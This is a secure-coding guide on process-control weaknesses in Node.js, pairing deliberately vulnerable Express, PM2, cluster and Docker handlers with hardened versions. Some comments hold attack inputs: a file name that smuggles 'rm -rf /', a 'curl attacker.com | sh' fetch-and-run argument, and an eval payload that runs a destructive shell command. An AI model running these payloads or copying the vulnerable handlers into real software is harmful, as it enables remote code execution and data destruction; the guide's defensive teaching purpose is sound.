Skip to content

CWE-114: Process Control - JavaScript/Node.js

Overview

Process control vulnerabilities in JavaScript/Node.js applications occur when untrusted user input controls process execution, lifecycle, or behavior. Node.js's child_process module and process management capabilities make these vulnerabilities particularly dangerous as attackers can spawn malicious processes, terminate critical services, or exhaust system resources.

Key Security Issues:

  • Unauthorized Process Termination: Killing critical Node.js worker processes or system services
  • Command Injection: Injecting shell commands through process spawning functions
  • Resource Exhaustion: Fork bombing through unlimited process creation
  • Privilege Escalation: Manipulating process execution with elevated privileges
  • Information Disclosure: Exposing process details including environment variables with secrets

Primary Defence: Use child_process.execFile() or child_process.spawn() with shell: false and explicit argument arrays, implement allowlists for process commands and PIDs, enforce resource limits (CPU, memory, file descriptors), and require authorization checks before process termination or spawning operations.

Common Node.js/JavaScript Scenarios:

  • Express/Fastify APIs managing worker processes based on user requests
  • PM2/Forever process managers with web control panels
  • Build systems spawning compilation processes with user-supplied parameters
  • Container orchestration dashboards controlling Docker containers
  • Serverless function platforms managing execution contexts
  • Electron apps managing child processes for background tasks

Why This Matters in Node.js:

  • child_process.exec() with user input enables direct command injection
  • Node.js cluster management often lacks proper authorization
  • PM2 and process managers expose powerful control APIs
  • Easy to overlook security when spawning "simple" background tasks
  • Single-threaded nature makes DoS via process control particularly effective

Common Vulnerable Patterns

Unvalidated Process Termination with process.kill()

const express = require('express');
const app = express();

// DANGEROUS: User controls which process to kill
app.post('/admin/kill-process', (req, res) => {
  const pid = parseInt(req.body.pid);

  try {
    process.kill(pid, 'SIGKILL');  // No validation or authorization
    res.json({ status: 'killed', pid });
  } catch (error) {
    res.status(500).json({ error: error.message });
  }
});

Why this is vulnerable:

  • No authentication or authorization
  • Can target any process on the system
  • No ownership verification
  • Missing audit logging
  • Could kill Node.js itself or critical system processes

Command Injection via child_process.exec()

const { exec } = require('child_process');

app.post('/convert-image', (req, res) => {
  const filename = req.body.filename;

  // DANGEROUS: Command injection vulnerability
  exec(`convert ${filename} output.png`, (error, stdout, stderr) => {
    if (error) {
      return res.status(500).json({ error: error.message });
    }
    res.json({ result: 'converted' });
  });
});

// Attack: filename = "input.jpg; rm -rf /"

Why this is vulnerable:

  • Concatenating user input into shell command
  • Using exec() which spawns a shell
  • No input validation or sanitization
  • Allows arbitrary command execution

Unrestricted Process Spawning

const { spawn } = require('child_process');

app.post('/run-script', (req, res) => {
  const scriptName = req.body.script;
  const args = req.body.args || [];

  // DANGEROUS: No validation, no rate limiting
  const child = spawn(scriptName, args);

  res.json({ pid: child.pid, status: 'started' });
});

// Attack: script="/bin/sh", args=["-c", "curl attacker.com | sh"]

Why this is vulnerable:

  • No allowlist of permitted scripts
  • Can execute any binary on the system
  • No rate limiting - fork bomb possible
  • Arguments not validated
  • No resource limits

PM2 Process Control Without Authorization

const pm2 = require('pm2');

app.post('/pm2/restart', (req, res) => {
  const processName = req.body.process;

  // DANGEROUS: Anyone can restart any PM2 process
  pm2.connect((err) => {
    if (err) return res.status(500).json({ error: err });

    pm2.restart(processName, (err) => {
      pm2.disconnect();
      if (err) return res.status(500).json({ error: err });
      res.json({ status: 'restarted' });
    });
  });
});

Why this is vulnerable:

  • No authentication required
  • Can restart any PM2-managed process
  • No validation of process name
  • Could disrupt critical services
  • Missing audit trail

Cluster Worker Management Without Validation

const cluster = require('cluster');

if (cluster.isMaster) {
  app.post('/admin/kill-worker', (req, res) => {
    const workerId = req.body.workerId;

    // DANGEROUS: No authorization
    const worker = cluster.workers[workerId];
    if (worker) {
      worker.kill();  // Anyone can kill workers
      res.json({ status: 'killed' });
    }
  });
}

Why this is vulnerable:

  • No authorization check
  • Exposes internal worker management
  • Can cause service degradation
  • No rate limiting on worker kills

Exposing Process Environment Variables

app.get('/debug/env', (req, res) => {
  // DANGEROUS: Exposes all environment variables
  res.json({
    env: process.env,  // Contains secrets!
    pid: process.pid,
    version: process.version
  });
});

Why this is vulnerable:

  • Environment variables contain database passwords, API keys
  • No authorization required
  • Sensitive data exposed via HTTP
  • Aids in reconnaissance for further attacks
app.post('/execute-command', (req, res) => {
  const command = req.body.command;

  // DANGEROUS: Code injection
  const result = eval(`process.${command}`);
  res.json({ result });
});

// Attack: command="mainModule.require('child_process').exec('rm -rf /')"

Why this is vulnerable:

  • eval() allows arbitrary code execution
  • Can access child_process module
  • No sandboxing or restrictions
  • Complete system compromise possible

Docker Container Control Without Authorization

const Docker = require('dockerode');
const docker = new Docker();

app.post('/containers/stop', async (req, res) => {
  const containerId = req.body.containerId;

  // DANGEROUS: No authorization
  const container = docker.getContainer(containerId);
  await container.stop();

  res.json({ status: 'stopped' });
});

Why this is vulnerable:

  • Anyone can stop any container
  • No container ownership verification
  • Could disrupt production services
  • Missing logging

Secure Patterns

Process Termination with Authorization

const express = require('express');
const app = express();

class SecureProcessManager {
  constructor() {
    this.managedProcesses = new Map();
    this.authorizedUsers = new Set(['admin', 'ops-team']);
  }

  registerProcess(processId, pid, owner, name) {
    this.managedProcesses.set(processId, {
      pid,
      owner,
      name,
      startedAt: new Date()
    });
    console.log(`Process registered: ${processId} (PID: ${pid}) by ${owner}`);
  }

  async killProcess(processId, currentUser) {
    // Authorization check
    if (!this.authorizedUsers.has(currentUser)) {
      const error = new Error(`User ${currentUser} not authorized for process control`);
      console.warn(`[AUDIT] Unauthorized kill attempt by ${currentUser}`);
      throw error;
    }

    // Validate process ID
    const managedProcess = this.managedProcesses.get(processId);
    if (!managedProcess) {
      const error = new Error(`Process ${processId} not under management`);
      console.warn(`[AUDIT] Attempted to kill unmanaged process: ${processId}`);
      throw error;
    }

    // Ownership verification
    if (managedProcess.owner !== currentUser && currentUser !== 'admin') {
      const error = new Error('Cannot kill process owned by another user');
      console.warn(
        `[AUDIT] ${currentUser} attempted to kill process owned by ${managedProcess.owner}`
      );
      throw error;
    }

    try {
      // Send SIGTERM first (graceful shutdown)
      process.kill(managedProcess.pid, 'SIGTERM');

      console.log(
        `[AUDIT] SIGTERM sent to ${processId} (PID: ${managedProcess.pid}) by ${currentUser}`
      );

      this.managedProcesses.delete(processId);
      return true;
    } catch (error) {
      if (error.code === 'ESRCH') {
        console.warn(`Process ${processId} (PID: ${managedProcess.pid}) no longer exists`);
        this.managedProcesses.delete(processId);
        return false;
      }
      throw error;
    }
  }
}

// Usage in Express
const processManager = new SecureProcessManager();

app.post('/admin/kill-process', authenticateUser, async (req, res) => {
  const { processId } = req.body;

  try {
    await processManager.killProcess(processId, req.user.username);
    res.json({ status: 'success', processId });
  } catch (error) {
    console.error(`Process kill failed: ${error.message}`);
    res.status(403).json({ error: error.message });
  }
});

Why this works:

  • Requires authentication (authenticateUser middleware)
  • Authorization check via authorizedUsers set
  • Process allowlist prevents arbitrary process control
  • Ownership verification
  • Graceful shutdown with SIGTERM
  • Comprehensive audit logging

Safe Process Spawning with Allowlist

const { spawn } = require('child_process');
const path = require('path');

class SecureProcessSpawner {
  constructor() {
    // Allowlist of permitted executables
    this.allowedExecutables = new Map([
      ['image-processor', '/usr/bin/convert'],
      ['pdf-generator', '/usr/bin/wkhtmltopdf'],
      ['video-encoder', '/usr/bin/ffmpeg']
    ]);

    // Rate limiting
    this.userProcessCount = new Map();
    this.MAX_PROCESSES_PER_USER = 3;
  }

  validateArguments(args) {
    const dangerous = /[;&|`$(){}[\]<>*?~]/;

    for (const arg of args) {
      // Check for shell metacharacters
      if (dangerous.test(arg)) {
        throw new Error(`Argument contains dangerous characters: ${arg}`);
      }

      // Check for path traversal
      if (arg.includes('..') || arg.startsWith('/')) {
        throw new Error(`Path traversal detected: ${arg}`);
      }

      // Limit argument length
      if (arg.length > 255) {
        throw new Error(`Argument too long: ${arg.length} chars`);
      }
    }

    return args;
  }

  async spawnProcess(jobType, args, currentUser) {
    // Validate job type against allowlist
    const executable = this.allowedExecutables.get(jobType);
    if (!executable) {
      throw new Error(`Job type '${jobType}' not permitted`);
    }

    // Rate limiting
    const userCount = this.userProcessCount.get(currentUser) || 0;
    if (userCount >= this.MAX_PROCESSES_PER_USER) {
      throw new Error(
        `Process limit reached (${this.MAX_PROCESSES_PER_USER}) for user ${currentUser}`
      );
    }

    // Validate arguments
    const validatedArgs = this.validateArguments(args);

    // Spawn process with security options
    const child = spawn(executable, validatedArgs, {
      // Don't use shell
      shell: false,

      // Clean environment (no secrets)
      env: {
        PATH: '/usr/bin:/bin',
        USER: currentUser,
        NODE_ENV: 'production'
      },

      // Security options
      detached: false, // Don't create new process group
      stdio: ['ignore', 'pipe', 'pipe'], // No stdin
      cwd: '/tmp' // Safe working directory
    });

    // Resource limits: kill long-running or noisy processes
    const MAX_OUTPUT_BYTES = 1024 * 1024;
    const timeoutId = setTimeout(() => {
      child.kill('SIGKILL');
    }, 30000);

    let outputBytes = 0;
    const onData = (data) => {
      outputBytes += data.length;
      if (outputBytes > MAX_OUTPUT_BYTES) {
        child.kill('SIGKILL');
      }
    };

    child.stdout?.on('data', onData);
    child.stderr?.on('data', onData);

    // Track process count
    this.userProcessCount.set(currentUser, userCount + 1);

    // Cleanup on exit
    child.on('exit', () => {
      clearTimeout(timeoutId);
      const count = this.userProcessCount.get(currentUser) || 0;
      this.userProcessCount.set(currentUser, Math.max(0, count - 1));
    });

    console.log(
      `[AUDIT] Process spawned: ${jobType} by ${currentUser} (PID: ${child.pid})`
    );

    return child;
  }
}

// Usage
const spawner = new SecureProcessSpawner();

app.post('/jobs/convert-image', authenticateUser, async (req, res) => {
  const { inputFile, format } = req.body;

  try {
    const child = await spawner.spawnProcess(
      'image-processor',
      [inputFile, '-format', format, 'output.jpg'],
      req.user.username
    );

    let output = '';
    child.stdout.on('data', (data) => { output += data; });

    child.on('close', (code) => {
      if (code === 0) {
        res.json({ status: 'success', output });
      } else {
        res.status(500).json({ error: `Process exited with code ${code}` });
      }
    });

  } catch (error) {
    res.status(400).json({ error: error.message });
  }
});

Why this works:

  • Executable allowlist prevents arbitrary command execution
  • shell: false prevents command injection
  • Argument validation blocks path traversal and shell metacharacters
  • Rate limiting prevents fork bombs
  • Clean environment prevents secret leakage
  • Resource limits (timeout, buffer size)
  • Comprehensive logging

Safe PM2 Process Management

const pm2 = require('pm2');

class SecurePM2Manager {
  constructor() {
    this.allowedProcesses = new Set([
      'web-server',
      'api-worker',
      'background-job'
    ]);
    this.processOwners = new Map();
  }

  async restartProcess(processName, currentUser) {
    // Validate process name against allowlist
    if (!this.allowedProcesses.has(processName)) {
      throw new Error(`Process '${processName}' not under management`);
    }

    // Check ownership
    const owner = this.processOwners.get(processName);
    if (owner && owner !== currentUser && currentUser !== 'admin') {
      throw new Error('Cannot manage process owned by another user');
    }

    return new Promise((resolve, reject) => {
      pm2.connect((err) => {
        if (err) {
          reject(err);
          return;
        }

        pm2.restart(processName, (err, proc) => {
          pm2.disconnect();

          if (err) {
            console.error(`[AUDIT] PM2 restart failed: ${processName} by ${currentUser}`);
            reject(err);
          } else {
            console.log(`[AUDIT] PM2 restart: ${processName} by ${currentUser}`);
            resolve(proc);
          }
        });
      });
    });
  }
}

app.post('/admin/pm2/restart', authenticateUser, requireAdmin, async (req, res) => {
  const { processName } = req.body;
  const pm2Manager = new SecurePM2Manager();

  try {
    await pm2Manager.restartProcess(processName, req.user.username);
    res.json({ status: 'restarted', processName });
  } catch (error) {
    res.status(403).json({ error: error.message });
  }
});

Why this works:

  • Process name allowlist
  • Ownership tracking and verification
  • Authorization required (admin only)
  • Audit logging of all operations
  • Promise-based error handling

Secure Cluster Worker Management

const cluster = require('cluster');
const os = require('os');

if (cluster.isMaster) {
  const workerOwners = new Map();
  const MAX_WORKERS = os.cpus().length;

  class SecureClusterManager {
    static async killWorker(workerId, currentUser) {
      // Authorization
      if (currentUser !== 'admin' && currentUser !== 'ops') {
        throw new Error('Not authorized for worker management');
      }

      // Validate worker ID
      const worker = cluster.workers[workerId];
      if (!worker) {
        throw new Error(`Worker ${workerId} not found`);
      }

      // Check if safe to kill (not last worker)
      const activeWorkers = Object.keys(cluster.workers).length;
      if (activeWorkers <= 1) {
        throw new Error('Cannot kill last worker');
      }

      // Graceful shutdown
      worker.send({ cmd: 'shutdown' });

      // Force kill after timeout
      setTimeout(() => {
        if (!worker.isDead()) {
          worker.kill('SIGKILL');
        }
      }, 5000);

      console.log(`[AUDIT] Worker ${workerId} shutdown by ${currentUser}`);
    }

    static async spawnWorker(currentUser) {
      // Authorization
      if (currentUser !== 'admin') {
        throw new Error('Not authorized to spawn workers');
      }

      // Rate limiting
      const activeWorkers = Object.keys(cluster.workers).length;
      if (activeWorkers >= MAX_WORKERS) {
        throw new Error(`Maximum workers (${MAX_WORKERS}) reached`);
      }

      const worker = cluster.fork();
      workerOwners.set(worker.id, currentUser);

      console.log(`[AUDIT] Worker ${worker.id} spawned by ${currentUser}`);
      return worker;
    }
  }

  // Express routes for cluster management
  app.post('/admin/workers/kill', authenticateUser, async (req, res) => {
    try {
      await SecureClusterManager.killWorker(
        req.body.workerId,
        req.user.username
      );
      res.json({ status: 'success' });
    } catch (error) {
      res.status(403).json({ error: error.message });
    }
  });
}

Why this works:

  • Authorization required (admin/ops only)
  • Prevents killing last worker (maintains availability)
  • Graceful shutdown with timeout
  • Rate limiting on worker creation
  • Audit logging

Secure Environment Variable Access

class SecureEnvAccess {
  constructor() {
    // Allowlist of safe environment variables
    this.safeEnvVars = new Set([
      'NODE_ENV',
      'PORT',
      'LOG_LEVEL'
    ]);
  }

  getProcessInfo(currentUser) {
    // Authorization
    if (currentUser !== 'admin') {
      throw new Error('Not authorized to view process information');
    }

    // Return only safe, non-sensitive information
    return {
      pid: process.pid,
      version: process.version,
      platform: process.platform,
      uptime: process.uptime(),
      memoryUsage: process.memoryUsage(),
      // Only safe env vars
      env: Object.fromEntries(
        Array.from(this.safeEnvVars)
          .filter(key => process.env[key])
          .map(key => [key, process.env[key]])
      )
    };
  }
}

app.get('/admin/process/info', authenticateUser, requireAdmin, (req, res) => {
  const envAccess = new SecureEnvAccess();

  try {
    const info = envAccess.getProcessInfo(req.user.username);
    res.json(info);
  } catch (error) {
    res.status(403).json({ error: error.message });
  }
});

Why this works:

  • Admin-only access
  • Environment variable allowlist excludes secrets
  • Returns only safe process information
  • No command line arguments exposed
  • Authorization check

Docker Container Management with Authorization

const Docker = require('dockerode');
const docker = new Docker();

class SecureDockerManager {
  constructor() {
    this.containerOwners = new Map();
    this.allowedImages = new Set([
      'myapp/worker:latest',
      'myapp/processor:latest'
    ]);
  }

  async startContainer(imageName, currentUser) {
    // Validate image
    if (!this.allowedImages.has(imageName)) {
      throw new Error(`Image '${imageName}' not permitted`);
    }

    // Create container with security options
    const container = await docker.createContainer({
      Image: imageName,
      // Security options
      HostConfig: {
        Memory: 512 * 1024 * 1024, // 512MB limit
        MemorySwap: 512 * 1024 * 1024,
        CpuQuota: 50000, // 50% of one CPU
        PidsLimit: 100, // Limit processes
        ReadonlyRootfs: true, // Read-only filesystem
        CapDrop: ['ALL'], // Drop all capabilities
        SecurityOpt: ['no-new-privileges']
      },
      NetworkMode: 'bridge' // Network isolation
    });

    await container.start();

    this.containerOwners.set(container.id, currentUser);

    console.log(`[AUDIT] Container ${container.id} started by ${currentUser}`);

    return container;
  }

  async stopContainer(containerId, currentUser) {
    // Check ownership
    const owner = this.containerOwners.get(containerId);
    if (!owner) {
      throw new Error(`Container ${containerId} not found`);
    }

    if (owner !== currentUser && currentUser !== 'admin') {
      throw new Error('Cannot stop container owned by another user');
    }

    const container = docker.getContainer(containerId);
    await container.stop({ t: 10 }); // 10 second graceful stop

    console.log(`[AUDIT] Container ${containerId} stopped by ${currentUser}`);

    this.containerOwners.delete(containerId);
  }
}

app.post('/containers/start', authenticateUser, async (req, res) => {
  const dockerManager = new SecureDockerManager();

  try {
    const container = await dockerManager.startContainer(
      req.body.image,
      req.user.username
    );
    res.json({ containerId: container.id });
  } catch (error) {
    res.status(400).json({ error: error.message });
  }
});

Why this works:

  • Image allowlist
  • Resource limits (CPU, memory, processes)
  • Read-only filesystem
  • Dropped capabilities
  • Ownership tracking
  • Authorization checks

Key Security Functions

Process ID Validator

class ProcessValidator {
  static validateProcessId(processId) {
    // Internal process ID format (not system PID)
    const validFormat = /^[a-z0-9_-]{1,64}$/;

    if (typeof processId !== 'string') {
      throw new TypeError('Process ID must be a string');
    }

    if (!validFormat.test(processId)) {
      throw new Error(
        `Invalid process ID format: ${processId}. ` +
        'Must be alphanumeric, dash, or underscore (1-64 chars)'
      );
    }

    return true;
  }

  static validatePID(pid) {
    if (!Number.isInteger(pid) || pid <= 0) {
      throw new Error(`Invalid PID: ${pid}`);
    }

    // Prevent targeting low PIDs (system processes)
    if (pid < 100) {
      throw new Error(`Cannot target system process (PID < 100): ${pid}`);
    }

    return true;
  }

  static validateSignal(signal) {
    const allowedSignals = new Set([
      'SIGTERM', 'SIGHUP', 'SIGUSR1', 'SIGUSR2'
    ]);

    if (!allowedSignals.has(signal)) {
      throw new Error(
        `Signal '${signal}' not allowed. Permitted: ${[...allowedSignals].join(', ')}`
      );
    }

    return true;
  }
}

Command Sanitizer

class CommandSanitizer {
  static sanitizeArgument(arg) {
    // Reject shell metacharacters
    const dangerous = /[;&|`$(){}[\]<>*?~!#]/;
    if (dangerous.test(arg)) {
      throw new Error(`Dangerous characters in argument: ${arg}`);
    }

    // Reject path traversal
    if (arg.includes('..') || arg.startsWith('/')) {
      throw new Error(`Path traversal detected: ${arg}`);
    }

    // Limit length
    if (arg.length > 255) {
      throw new Error(`Argument too long: ${arg.length} chars`);
    }

    return arg;
  }

  static sanitizeCommand(command, allowedCommands) {
    const baseName = path.basename(command);

    if (!allowedCommands.has(baseName)) {
      throw new Error(`Command '${baseName}' not in allowlist`);
    }

    return baseName;
  }
}

Verification

After implementing the recommended secure patterns, verify the fix through multiple approaches:

  • Manual testing: Submit malicious payloads relevant to this vulnerability and confirm they're handled safely without executing unintended operations
  • Code review: Confirm all instances use the secure pattern (parameterized queries, safe APIs, proper encoding) with no string concatenation or unsafe operations
  • Static analysis: Use security scanners to verify no new vulnerabilities exist and the original finding is resolved
  • Regression testing: Ensure legitimate user inputs and application workflows continue to function correctly
  • Edge case validation: Test with special characters, boundary conditions, and unusual inputs to verify proper handling
  • Framework verification: If using a framework or library, confirm the recommended APIs are used correctly according to documentation
  • Authentication/session testing: Verify security controls remain effective and cannot be bypassed (if applicable to the vulnerability type)
  • Rescan: Run the security scanner again to confirm the finding is resolved and no new issues were introduced

Security Checklist

  • All process control endpoints require authentication and authorization
  • Process allowlist implemented for managed processes
  • Never use child_process.exec() or execSync() with user input
  • Always use spawn() with shell: false
  • Arguments validated before passing to subprocess
  • Rate limiting prevents fork bombs
  • Resource limits applied (timeout, maxBuffer)
  • Clean environment passed to spawned processes
  • Ownership verification before process control operations
  • Signal allowlist (no SIGKILL/SIGSTOP for regular users)
  • PID validation prevents targeting system processes
  • Comprehensive audit logging of all operations
  • PM2/cluster management requires admin authorization
  • Docker container control includes ownership checks
  • Environment variable access restricted to safe values

Additional Resources